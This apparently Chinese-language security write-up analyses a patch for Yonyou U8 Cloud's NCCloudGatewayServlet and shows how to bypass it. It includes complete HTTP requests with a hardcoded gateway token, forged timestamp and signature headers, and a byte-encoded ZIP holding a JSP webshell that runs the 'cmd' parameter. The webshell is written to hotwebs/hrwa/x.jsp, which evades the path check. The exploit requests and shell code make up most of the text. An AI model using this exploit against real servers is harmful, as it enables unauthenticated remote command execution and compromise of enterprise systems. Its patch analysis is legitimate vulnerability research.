补丁: https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c
漏洞分析
因为之前分析过这个洞,所以这里直接贴payload了
GET /service/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.10.30:8088
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 2180
{"accountCode":"U8cloud","user":"testuser","serviceInfo":{"serviceClassName":"nc.itf.hr.tools.IFileTrans","serviceMethodName":"uploadFile",
"serviceMethodArgInfo":[{"argType":{"body":"java.lang.Byte"},"argValue":{"body":[]},
"agg":"false","isArray":"true","isPrimitive":"true"},{"argType":{"body":"java.lang.String"},"argValue":{"body":"webapps/u8c_web/shell.jsp"},
"agg":"false","isArray":"false","isPrimitive":"false"}]}}补丁分析
因为之前有其他补丁修复过
nc.itf.hr.tools.IFileTrans也把这个补丁考虑进去 补丁: https://security.yonyou.com/#/patchInfo?identifier=565b9cc1214b473dbeb4ab96eeafec08 但是网上的其他复现都是用的nc.bs.pub.util.ProcessFileUtils来实现命令执行,有一点出入,因为不想再去找其他可利用的类了,看看能不能复活这个iFileTrans
首先是对硬编码的修复
GateWayUtil.checkGateWayTokenNew(request.getHeader("ts"),request.getHeader("sign"));校验方式从之前的解密对比变成了验证时间戳和签名,具体实现如下:
public static void checkGateWayTokenNew(String ts, String sign) throws Exception {
if (StringUtils.isEmpty(ts) || StringUtils.isEmpty(sign)) {
throw new Exception("您没有请求该服务的权限,请重启网关");
}
try {
long tsLong = Long.parseLong(ts);
if (Math.abs(System.currentTimeMillis() - tsLong) > 180000) {
throw new Exception("您没有请求该服务的权限,参数已过期");
}
if (!StringUtils.equals(sign, sign(ts))) {
throw new Exception("您没有请求该服务的权限,sign验签失败");
}
} catch (Exception e) {
throw new Exception("您没有请求该服务的权限,ts参数异常");
}
}
public static String sign(String str) throws NoSuchAlgorithmException, InvalidKeyException {
return sign(str, new Encode().decode(getProp().getProperty("nccloud.gateway.nctoken")));
}
public static String sign(String str, String secret) throws IllegalStateException, NoSuchAlgorithmException, InvalidKeyException {
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), "HmacSHA256"));
byte[] signData = mac.doFinal(str.getBytes(StandardCharsets.UTF_8));
return new String(Base64.encodeBase64(signData))
;
}传入的时间戳应当是当前时间的前后180000毫秒之内,然后将原本的gatewaytoken作为HmacSHA256的key来生成一个签名。
原本的payload,接下来生成对应的ts和sign
现在是已经可以成功调用到nc.impl.hr.tools.trans.FileTransImpl#uploadFile,去看另外一个补丁对这个方法的处理
public boolean uploadFile(byte[] data, String remoteAbsPath) throws IOException, BusinessException {
try {
String ctxPath = RuntimeEnv.getInstance().getCanonicalNCHome();
String realPath = String.valueOf(ctxPath) + File.separator + "webapps" + File.separator + "u8c_web" + File.separator;
if (new File(remoteAbsPath).getCanonicalPath().startsWith(new File(realPath).getCanonicalPath())) {
throw new BusinessException("Illegal File Path");
}
byte[] data2 = ZipUtil.extract(data);
FileOutputStream output = new FileOutputStream(remoteAbsPath);
output.write(data2);
output.flush();
output.close();
return true;
} catch (Exception e) {
Logger.error(e.getMessage(), e);
throw new BusinessException(e.getMessage());
}
}实际上是在检测是否以realPath开头,在我的环境中是C:\U8CERP\webapps\u8c_web,实际上去找一个别的可以解析jsp的地方就行了,这里用C:\U8CERP\hotwebs\hrwa\就可以解析。
复现过程
在前面的payload的基础上只需要一点小改动
GET /service/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.10.30:8088
Ts: 1758812646099
Sign: q3YceEpMP0q/KtgBxwaToao+WYlirhL3Kiflx9kWzSg=
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 3697
{"accountCode":"U8cloud","user":"x","serviceInfo":{"serviceClassName":"nc.itf.hr.tools.IFileTrans","serviceMethodName":"uploadFile",
"serviceMethodArgInfo":[{"argType":{"body":"java.lang.Byte"},"argValue":{"body":[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 121, -72, 57, 91, -122, 72, -85, -1, 117, 2, 0, 0, 117, 2, 0, 0, 10, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, 10, 60, 37, 64, 32, 112, 97, 103, 101, 32, 99, 111, 110, 116, 101, 110, 116, 84, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 104, 116, 109, 108, 59, 99, 104, 97, 114, 115, 101, 116, 61, 85, 84, 70, 45, 56, 34, 32, 108, 97, 110, 103, 117, 97, 103, 101, 61, 34, 106, 97, 118, 97, 34, 32, 37, 62, 10, 60, 37, 64, 32, 112, 97, 103, 101, 32, 105, 109, 112, 111, 114, 116, 61, 34, 106, 97, 118, 97, 46, 105, 111, 46, 42, 34, 32, 37, 62, 10, 60, 37, 10, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 99, 111, 109, 109, 97, 110, 100, 32, 61, 32, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 59, 10, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 32, 111, 117, 116, 112, 117, 116, 32, 61, 32, 110, 101, 119, 32, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 40, 41, 59, 10, 32, 32, 32, 32, 116, 114, 121, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 99, 101, 115, 115, 32, 112, 114, 111, 99, 101, 115, 115, 32, 61, 32, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 99, 111, 109, 109, 97, 110, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 32, 114, 101, 97, 100, 101, 114, 32, 61, 32, 110, 101, 119, 32, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 40, 110, 101, 119, 32, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 40, 112, 114, 111, 99, 101, 115, 115, 46, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 40, 41, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 108, 105, 110, 101, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 40, 108, 105, 110, 101, 32, 61, 32, 114, 101, 97, 100, 101, 114, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 41, 32, 33, 61, 32, 110, 117, 108, 108, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 111, 117, 116, 112, 117, 116, 46, 97, 112, 112, 101, 110, 100, 40, 108, 105, 110, 101, 41, 46, 97, 112, 112, 101, 110, 100, 40, 34, 60, 98, 114, 62, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 112, 114, 111, 99, 101, 115, 115, 46, 119, 97, 105, 116, 70, 111, 114, 40, 41, 59, 10, 32, 32, 32, 32, 125, 32, 99, 97, 116, 99, 104, 32, 40, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 124, 32, 73, 110, 116, 101, 114, 114, 117, 112, 116, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 101, 41, 32, 123, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112, 114, 105, 110, 116, 108, 110, 40, 111, 117, 116, 112, 117, 116, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41, 41, 59, 10, 37, 62, 10, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 0, 0, 121, -72, 57, 91, -122, 72, -85, -1, 117, 2, 0, 0, 117, 2, 0, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -128, 1, 0, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 56, 0, 0, 0, -99, 2, 0, 0, 0, 0]
},
"agg":"false","isArray":"true","isPrimitive":"true"},{"argType":{"body":"java.lang.String"},"argValue":{"body":"hotwebs/hrwa/x.jsp"},
"agg":"false","isArray":"false","isPrimitive":"false"}]}}就可以成功写入webshell
